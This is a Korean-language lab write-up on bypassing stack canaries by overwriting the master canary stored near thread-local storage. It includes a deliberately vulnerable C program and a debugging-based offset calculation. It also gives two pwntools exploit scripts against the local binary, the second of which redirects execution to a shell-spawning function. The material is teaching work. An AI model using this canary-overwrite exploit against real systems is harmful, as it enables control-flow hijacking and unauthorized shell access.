์‹ค์Šต ์˜ˆ์ œ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read(0, buf, size);
}
int main() {
  pthread_t thread_t;
  init();
  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

 

 

 

 

Thread Stack

์Šค๋ ˆ๋“œ ํ•จ์ˆ˜์—์„œ ์„ ์–ธ๋œ ๋ณ€์ˆ˜๋Š” ์ผ๋ฐ˜์ ์ธ ํ•จ์ˆ˜์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์Šคํƒ ์˜์—ญ์ด ์•„๋‹Œ TLS์™€ ์ธ์ ‘ํ•œ ์˜์—ญ์— ํ• ๋‹น๋˜๋Š” ์ ์ด ๋‹ค๋ฅด๋‹ค.

ํ•˜์ง€๋งŒ ๋ฒ„ํผ๋ฅผ ํ• ๋‹นํ–ˆ์„ ๋•Œ TLS ์˜์—ญ์— ์กด์žฌํ•˜๋Š” ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์ฐธ์กฐํ•œ๋‹ค๋Š” ์ ์€ ๋™์ผํ•˜๋‹ค.

 

๋‹ค์Œ์€ pthread_create ํ•จ์ˆ˜ ์ฝ”๋“œ์ด๋‹ค.

#define THREAD_COPY_STACK_GUARD(descr) \
  ((descr)->header.stack_guard						      \
   = THREAD_GETMEM (THREAD_SELF, header.stack_guard))
int
__pthread_create_2_1 (pthread_t *newthread, const pthread_attr_t *attr,
		      void *(*start_routine) (void *), void *arg) 
{
    ...
    #ifdef THREAD_COPY_STACK_GUARD
    THREAD_COPY_STACK_GUARD (pd);
    #endif
    /* Copy the pointer guard value.  */
    #ifdef THREAD_COPY_POINTER_GUARD
    THREAD_COPY_POINTER_GUARD (pd);
    #endif
    /* Verify the sysinfo bits were copied in allocate_stack if needed.  */
    #ifdef NEED_DL_SYSINFO
    CHECK_THREAD_SYSINFO (pd);
    #endif
    ...
}

THREAD_COPY_STACK_GUARD ๋งคํฌ๋กœ๋ฅผ ํ†ตํ•ด header.stack_guard์— ์œ„์น˜ํ•˜๋Š” ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ๊ฐ€์ ธ์˜จ๋‹ค.

 

์Šค๋ž˜๋“œ์—์„œ ํ• ๋‹นํ•œ ๋ณ€์ˆ˜๋Š” ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๊ฐ€ ์œ„์น˜ํ•˜๋Š” ์ฃผ์†Œ๋ณด๋‹ค ๋‚ฎ์€ ์ฃผ์†Œ์— ์œ„์น˜ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค๋ฉด ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค.

๋ชจ๋“  ํ•จ์ˆ˜์—์„œ๋Š” ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋  ๋•Œ๋งˆ๋‹ค FS ์„ธ๊ทธ๋จผํŠธ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ฐธ์กฐํ•ด ํ•ด๋‹น ์ฃผ์†Œ๋กœ๋ถ€ํ„ฐ 0x28 ๋ฐ”์ดํŠธ๋งŒํผ ๋–จ์–ด์ง„ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ๊ฐ€์ ธ์˜จ๋‹ค. ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์ž„์˜์˜ ๊ฐ’์œผ๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์Šคํƒ ์นด๋‚˜๋ฆฌ๋ฅผ ์•Œ์•„๋‚ผ ํ•„์š” ์—†์ด ์ต์Šคํ”Œ๋กœ์ž‡ ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

์ฝ”๋“œ ๋ถ„์„

์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ์‹ค์Šต ์˜ˆ์ œ๋ฅผ ๋ถ„์„ํ•ด๋ณด์ž.

 

๋ณดํ˜ธ ๊ธฐ๋ฒ• ๐Ÿ›ก๏ธ

 

์ฝ”๋“œ ๋ถ„์„ ๐Ÿ”Ž

main ํ•จ์ˆ˜

int main() {
  pthread_t thread_t;
  init();
  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

thread_routine ํ•จ์ˆ˜

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read(0, buf, size);
}

 

์˜ˆ์ œ์—์„œ๋Š” pthread_create ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์Šค๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ thread_routine์„ ์ƒ์„ฑํ•œ๋‹ค.

ํ•ด๋‹น ํ•จ์ˆ˜์—์„œ ์ž…๋ ฅํ•œ size ๋งŒํผ 256๋ฐ”์ดํŠธ ๋ฒ„ํผ์— ๊ฐ’์„ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ ํ”Œ๋กœ์šฐ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

 

 

 

 

์ต์Šคํ”Œ๋กœ์ž‡ ์„ค๊ณ„

์ฃผ์†Œ ๊ฑฐ๋ฆฌ ๊ณ„์‚ฐ

์Šคํƒ ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ ์ทจ์•ฝ์ ์œผ๋กœ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ ์œ„ํ•ด์„œ๋Š” ์Šค๋ ˆ๋“œ์—์„œ ํ• ๋‹นํ•œ ๋ฒ„ํผ ์ฃผ์†Œ์™€ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ์˜ ์ฃผ์†Œ์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๊ณ„์‚ฐํ•ด์•ผ ํ•œ๋‹ค. ์ด๋Š” ๋””๋ฒ„๊น…์„ ํ†ตํ•ด ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

 

๋””์Šค์–ด์…ˆ๋ธ”์„ ํ†ตํ•ด ๋ธŒ๋ ˆ์ดํฌ ํฌ์ธํŠธ๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋””์Šค์–ด์…ˆ๋ธ” ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ฉด, thread_routine+106์™€ thread_routine+121์„ ํ™•์ธํ–ˆ์„ ๋•Œ read ํ•จ์ˆ˜์—์„œ [rbp-0x110] ์œ„์น˜์— ์ž…๋ ฅ๋ฐ›๋Š” ๊ฑธ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

์„ค์ •ํ•œ ๋ธŒ๋ ˆ์ดํฌํฌ์ธํŠธ๊นŒ์ง€ ์‹คํ–‰ํ•˜๊ณ , ํ™•์ธํ•œ rbp-0x110 ์ฃผ์†Œ๊ฐ€ ์Šคํƒ ๋ฒ„ํผ ์ฃผ์†Œ์ด๋‹ค.

 

์Šคํƒ ๋ฒ„ํผ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ƒˆ์œผ๋‹ˆ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด๊ณ  ๋‘ ์ฃผ์†Œ์˜ ๊ฐ„๊ฒฉ์„ ์•Œ์•„๋‚ด์•ผ ํ•œ๋‹ค.

๋‹ค์Œ์˜ ์—ฐ์‚ฐ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด 0x948๋งŒํผ ๋–จ์–ด์ ธ ์žˆ๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ ๋ณ€์กฐ

๋ฒ„ํผ ์ฃผ์†Œ์™€ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ์˜ ๊ฐ„๊ฒฉ์ด 0x948 ๋ฐ”์ดํŠธ์ด๋ฏ€๋กœ, 0x948๋ฐ”์ดํŠธ ํŒจ๋”ฉ๊ณผ ์ž„์˜์˜ 8๋ฐ”์ดํŠธ ๊ฐ’์„ ์ž…๋ ฅํ•˜๋ฉด ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

# Name: mc_thread.py
from pwn import *
p = process("./mc_thread")
payload = "A"*0x948
payload += p64(0x4141414141414141)
inp_sz = len(payload)
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.interactive()

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ 0x4141414141414141 ๋กœ ์กฐ์ž‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ์ด๋‹ค.

์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด, ์Šคํƒ ๋ฒ„ํผ์™€ RBP, ๊ทธ๋ฆฌ๊ณ  ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ชจ๋‘ "A"๋กœ ๋ฎ์—ˆ๋‹ค. ์นด๋‚˜๋ฆฌ์™€ ๋ฎ์–ด์“ฐ์ธ ์นด๋‚˜๋ฆฌ์˜ ๊ฐ’์ด ๊ฐ™์œผ๋ฏ€๋กœ ์Šคํƒ ์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹คํ–‰ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

Abort๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

 

RIP ์กฐ์ž‘

๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ ์กฐ์ž‘ํ–ˆ๋‹ค๋ฉด, ์กฐ์ž‘ํ•œ ์นด๋‚˜๋ฆฌ๋ฅผ ๋ฎ์–ด์“ฐ๊ณ  ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ์ฃผ์–ด์ง„ giveshell ํ•จ์ˆ˜๋กœ ๋ฎ์–ด์“ฐ๋ฉด ์…ธ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ์˜ ์ฝ”๋“œ๋Š” ์Šคํƒ ๋ฒ„ํผ๋ฅผ ๊ฐ€๋“ ์ฑ„์šฐ๊ณ , ์กฐ์ž‘ํ•œ ์นด๋‚˜๋ฆฌ์™€ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ๋ฎ์–ด์“ด ๋‹ค์Œ ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ giveshell๋กœ ์กฐ์ž‘ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ์ด๋‹ค.

 

# Name: mc_thread.py
from pwn import *
p = process("./mc_thread")
elf = ELF('./mc_thread')
giveshell = elf.symbols['giveshell']
payload = "A"*264
payload += "A"*8 # canary
payload += "B"*8
payload += p64(giveshell)
payload += "A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary
inp_sz = len(payload)
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.interactive()

๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!